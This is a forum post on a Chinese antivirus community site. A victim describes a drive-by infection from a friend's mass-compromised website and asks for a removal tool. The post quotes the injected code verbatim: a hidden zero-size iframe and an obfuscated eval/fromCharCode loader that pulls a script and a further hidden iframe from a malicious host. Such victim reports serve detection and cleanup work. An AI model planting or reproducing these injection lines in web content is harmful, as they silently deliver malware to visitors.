瑞星卡卡安全论坛

<iframe src=http://pp.900666.com/abc.htm width=0 height=0></iframe>
　朋友网站被批量挂马，我中招。今天登录我朋友网站中马，ghost系统。原以为这件事就至此结束。谁知道设计网站时不小心查看源码无意中又发现了他。才知道我机器的网页文件被感染。不知道EXE是否也会被感染。在此望各位高手帮忙看一下。相信在我之前及之后一定还会有不少人会中招。希望大家能尽快编出专杀工具。
在此提醒大家一下

在登录http://pp.900666.com/abc.htm 　会出现
无法显示网页
您正在查找的页当前不可用。 网站可能遇到支持问题，或者您需要 调整您的浏览器设置。

--------------------------------------------------------------------------------

请尝试以下操作:

单击  刷新按钮，或稍后重试。

如果您已经在地址栏中输入该网页的地址， 请确认其拼写正确。

要检查您的网络连接，请单击工具菜单，然后单击 Internet 选项。在连接选项卡上，单击设置。 设置必须与您的局域网 (LAN) 管理员或 Internet 服务供应商 (ISP) 提供的一致。
查看您的 Internet 连接设置是否正确被检测。您可能设置让 Microsoft Windows 检查您的网站并自动发现网络连接设置(如果您的网络管理员已经启用此设置)。
单击工具菜单，然后单击Internet 选项。
在连接选项卡上，单击LAN 设置。
选择自动检测设置，然后单击确定。
某些站点要求 128-位的连接安全性。单击帮助菜单，然后单击关于 Internet Explorer 可以查看您所安装的安全强度。
如果您要访问某安全站点，请确保您的安全设置能够支持。请单击工具菜单，然后单击 Internet 选项。在“高级”选项卡上，滚动到“安全”部分，复选 SSL 2.0、SSL 3.0、TLS 1.0、PCT 1.0 设置。
单击上一步按钮，尝试其他链接。



找不到服务器或 DNS 错误
Internet Explorer 
可　　查　看　源　码　时　有一　句　源　码特　醒　目
<script>
t="60,115,99,114,105,112,116,32,108,97,110,103,117,97,103,101,61,106,97,118,97,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,112,46,57,48,48,54,54,54,46,99,111,109,47,49,49,47,112,111,112,46,106,115,34,62,60,47,115,99,114,105,112,116,62,13,10,60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,112,112,46,57,48,48,54,54,54,46,99,111,109,47,49,49,47,49,46,104,116,109,32,119,105,100,116,104,61,48,32,104,101,105,103,104,116,61,48,62,60,47,105,102,114,97,109,101,62"
t=eval("String.fromCharCode("+t+")");
document.write(t);</script>
<script language="javascript" src="http://count31.51yes.com/click.aspx?id=311350513&logo=1"></script>
同时该站还有其他的连接如：http://pp.900666.com/11/1.htm
　　　　　　　　　　　　　http://pp.900666.com/11/logo.htm
其他的就不多说了。望高手做出工具后与我联系一下：E-mail:pkqq50@163.com